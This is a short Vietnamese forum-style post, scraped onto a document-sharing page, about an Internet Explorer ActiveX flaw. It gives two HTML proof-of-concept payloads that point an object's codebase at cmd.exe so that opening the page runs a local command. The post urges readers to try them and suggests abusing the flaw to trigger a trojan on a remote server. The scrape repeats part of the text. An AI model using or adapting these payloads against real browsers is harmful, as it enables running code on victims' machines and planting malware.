Một lỗi của IE liên quan đến ActiveX

1 360 0
Một lỗi của IE liên quan đến ActiveX

Đang tải... (xem toàn văn)

Thông tin tài liệu

Một lỗi của IE liên quan đến ActiveX

Một lỗi của IE liên quan đến ActiveX :trang này đã được đọc lần Các bạn save và chạy đoạn html sau: <html><body><span id="oSpan"></span><script language="javascript">oSpan.innerHTML="<object classid=\"clsid:11111111-1111-1111-1111-111111111111\" codebase=\"c:/winnt/system32/cmd.exe?/c+dir \"></object>";</script></body></html> hoặc <html><body><span datasrc="#oExec" datafld="exploit" dataformatas="html"></span><xml id="oExec"><security><exploit><![CDATA[<object id="oFile"classid="clsid:11111111-1111-1111-1111-111111111111"codebase="c:/winnt/system32/cmd.exe?/c+dir"></object>]]></exploit></security></xml></body></html> Tuy nó có hạn chế là ko chạy được thêm các parameters truyền vào, nhưng các bạn thử xem có thể lợi dụng lỗi này để làm được nhiều việc rất có ích, như kích hoạt trojan ở remote server chẳng hạn.Thử demo ở đây hoặc đây . Một lỗi của IE liên quan đến ActiveX :trang này đã được đọc lần Các bạn save và chạy đoạn. được thêm các parameters truyền vào, nhưng các bạn thử xem có thể lợi dụng lỗi này để làm được nhiều việc rất có ích, như kích hoạt trojan ở remote server

Ngày đăng: 02/11/2012, 14:18

Từ khóa liên quan

Tài liệu cùng người dùng

Tài liệu liên quan